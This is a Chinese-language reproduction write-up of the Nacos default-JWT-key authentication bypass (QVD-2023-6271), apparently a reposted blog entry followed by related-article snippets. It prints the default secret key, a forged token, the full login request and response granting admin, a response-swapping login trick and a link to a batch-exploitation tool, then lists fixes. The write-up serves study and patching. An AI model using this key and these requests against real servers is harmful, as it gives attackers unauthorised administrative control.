Nacos身份认证绕过漏洞(QVD-2023-6271)

2023-11-09 15:00

本文主要是介绍Nacos身份认证绕过漏洞(QVD-2023-6271),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Nacos身份认证绕过漏洞(QVD-2023-6271)

漏洞描述

漏洞原理为开源服务管理平台 Nacos在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台造成系统受控等后果。

漏洞信息

漏洞类型:身份认证绕过
漏洞等级:高危
漏洞编号:NVDB-CNVDB-2023674205

受影响版本:
0.1.0 <= Nacos <= 2.2.0

漏洞原理

Nacos是一个易于使用的平台,专为动态服务发现和配置以及服务管理而设计。可以帮助您轻松构建云原生应用程序和微服务平台。
目前Nacos 身份认证绕过漏洞(QVD-2023-6271),开源服务管理平台Nacos在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。

漏洞影响范围:
0.1.0 <= Nacos <= 2.2.0基本上都受到了影响,最新的版本已修复漏洞。

漏洞的本质是因为使用了默认的key。
JWT(JSON Web Token)是一种用于在网络应用之间安全传递信息的开放标准。在使用JWT时,通常需要使用密钥对token进行签名,以确保token在传输过程中不被篡改。如果在代码中将密钥硬编码到应用程序中,将会存在JWT硬编码漏洞。
JWT硬编码漏洞是指将密钥硬编码到应用程序代码中,而不是存储在安全的密钥存储库中,攻击者可以轻松地获取该密钥并使用其签署和验证JWT。这使攻击者可以创建或修改JWT,或者验证伪造的JWT,从而导致安全漏洞。例如,应用程序使用硬编码密钥对JWT进行签名,攻击者可以轻松获取该密钥并创建有效的JWT,该JWT会被误认为是经过身份验证的用户,从而获得未经授权的访问权限。因此,为了避免JWT硬编码漏洞,应该将密钥存储在安全的密钥存储库中,并且只有授权的应用程序可以访问它。

环境搭建

漏洞版本下载
首先从GitHub下载带有漏洞的源码:

https://github.com/alibaba/nacos/releases

在这里最新版本已经修复了相关的漏洞,所以在这里需要使用其它的版本来进行复现:
在这里插入图片描述
可以选择这个:
在这里插入图片描述
下载到本地之后,在有java8以上的环境下进行快速部署。

漏洞部署

部署环境:Windows10 + java8 ip地址:10.211.55.5
在这里按照教程,解压之后,在bin目录下使用cmd使用命令startup.cmd -m standalone来启动。
在这里插入图片描述

此时访问10.211.55.5:8848,就可以看到nacos启动了!
在这里插入图片描述

拼接路径nacos到路径:
http://10.211.55.5:8848/nacos/#/login
在这里插入图片描述

漏洞复现

在nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中:
在这里插入图片描述

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

利用该默认key可进行jwt构造,直接进入后台,构造方法:
https://jwt.io/中:输入默认key:

{"sub": "nacos","exp": 1678899909
}

在这里注意:1678899909这个值是unix时间戳,换算一下,要比你系统当前的时间更晚,比如当前的时间是2023年03月15日22:11:09,在这里面的时间戳时间是3月16号了:

在这里插入图片描述
在这里插入图片描述
复制上面得到的值,在burp里面选择登录之后构造:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s

在这里插入图片描述
方框里面需要自行添加:

POST /nacos/v1/auth/users/login HTTP/1.1
Host: 10.211.55.5:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://10.211.55.5:8848
Connection: close
Referer: http://10.211.55.5:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7susername=crowsec&password=crowsec

此时就得到了token信息:

HTTP/1.1 200 
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Set-Cookie: JSESSIONID=D90CF6E5B233685E4A39C1B1BDA9F185; Path=/nacos; HttpOnly
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s
Content-Type: application/json
Date: Wed, 15 Mar 2023 14:13:22 GMT
Connection: close
Content-Length: 197{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}

此时就得到了nacos的token信息。

利用获取token登录后台:
如何登录呢,在这里需要用假账号登录之后,再修改返回包就行了,试试看:
先用假账号登录,用burp拦截:

在这里插入图片描述
这肯定进不去的,在这里修改返回包,右键看下这个:
在这里插入图片描述
然后Forward,这边返回的信息肯定是无效的:
在这里插入图片描述
在这里使用刚刚burp里面生成的返回包进行替换,全部复制过去:
在这里插入图片描述
再forward一次:
在这里插入图片描述此时就已经进去了:

在这里插入图片描述
工具使用
也可以使用工具:
工具下载地址:

https://github.com/Pizz33/nacos_vul

nacosvul.py用于漏洞批量检测,nacosadd.py用于一键添加用户
批量检测截图:
在这里插入图片描述

漏洞修复

更新版本:
https://nacos.io/zh-cn/blog/announcement-token-secret-key.html

缓解措施:
1、检查application.properties文件中token.secret.key属性,若为默认值,可参考:https://nacos.io/zh-cn/docs/v2/guide/user/auth.html进行更改。
2、将Nacos部署于内部网络环境

这篇关于Nacos身份认证绕过漏洞(QVD-2023-6271)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/376856

相关文章

浅析Spring Security认证过程

类图 为了方便理解Spring Security认证流程,特意画了如下的类图,包含相关的核心认证类 概述 核心验证器 AuthenticationManager 该对象提供了认证方法的入口,接收一个Authentiaton对象作为参数; public interface AuthenticationManager {Authentication authenticate(Authenti

CSP 2023 提高级第一轮 CSP-S 2023初试题 完善程序第二题解析 未完

一、题目阅读 (最大值之和)给定整数序列 a0,⋯,an−1,求该序列所有非空连续子序列的最大值之和。上述参数满足 1≤n≤105 和 1≤ai≤108。 一个序列的非空连续子序列可以用两个下标 ll 和 rr(其中0≤l≤r<n0≤l≤r<n)表示,对应的序列为 al,al+1,⋯,ar​。两个非空连续子序列不同,当且仅当下标不同。 例如,当原序列为 [1,2,1,2] 时,要计算子序列 [

【Kubernetes】K8s 的安全框架和用户认证

K8s 的安全框架和用户认证 1.Kubernetes 的安全框架1.1 认证:Authentication1.2 鉴权:Authorization1.3 准入控制:Admission Control 2.Kubernetes 的用户认证2.1 Kubernetes 的用户认证方式2.2 配置 Kubernetes 集群使用密码认证 Kubernetes 作为一个分布式的虚拟

小技巧绕过Sina Visitor System(新浪访客系统)

0x00 前言 一直以来,爬虫与反爬虫技术都时刻进行着博弈,而新浪微博作为一个数据大户更是在反爬虫上不遗余力。常规手段如验证码、封IP等等相信很多人都见识过…… 当然确实有需要的话可以通过新浪开放平台提供的API进行数据采集,但是普通开发者的权限比较低,限制也比较多。所以如果只是做一些简单的功能还是爬虫比较方便~ 应该是今年的早些时候,新浪引入了一个Sina Visitor Syst

HNU-2023电路与电子学-实验3

写在前面: 一、实验目的 1.了解简易模型机的内部结构和工作原理。 2.分析模型机的功能,设计 8 重 3-1 多路复用器。 3.分析模型机的功能,设计 8 重 2-1 多路复用器。 4.分析模型机的工作原理,设计模型机控制信号产生逻辑。 二、实验内容 1.用 VERILOG 语言设计模型机的 8 重 3-1 多路复用器; 2.用 VERILOG 语言设计模型机的 8 重 2-1 多

【Shiro】Shiro 的学习教程(二)之认证、授权源码分析

目录 1、背景2、相关类图3、解析3.1、加载、解析阶段3.2、认证阶段3.3、授权阶段 1、背景 继上节代码,通过 debug 进行 shiro 源码分析。 2、相关类图 debug 之前,先了解下一些类的结构图: ①:SecurityManager:安全管理器 DefaultSecurityManager: RememberMeManager:实现【记住我】功能

OpenStack离线Train版安装系列—3控制节点-Keystone认证服务组件

本系列文章包含从OpenStack离线源制作到完成OpenStack安装的全部过程。 在本系列教程中使用的OpenStack的安装版本为第20个版本Train(简称T版本),2020年5月13日,OpenStack社区发布了第21个版本Ussuri(简称U版本)。 OpenStack部署系列文章 OpenStack Victoria版 安装部署系列教程 OpenStack Ussuri版

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

OpenStack Victoria版——3.控制节点-Keystone认证服务组件

3.控制节点-Keystone认证服务组件 更多步骤:OpenStack Victoria版安装部署系列教程 OpenStack部署系列文章 OpenStack Victoria版 安装部署系列教程 OpenStack Ussuri版 离线安装部署系列教程(全) OpenStack Train版 离线安装部署系列教程(全) 欢迎留言沟通,共同进步。 文章目录 创建key

frida检测绕过-libmsaoaidsec.so

libmsaoaidsec.so 部分检测手段 检测机制在native层实现一般在init_proc()函数中触发使用 pthread_create 创建2个检测线程 绕过: nop pthread_create 的调用 eg: 在 bilibil1 - v7.26.1版本中, 在got表导入了pthread_create 绕过: 替换dlsym(xx, "pthread_create ")的返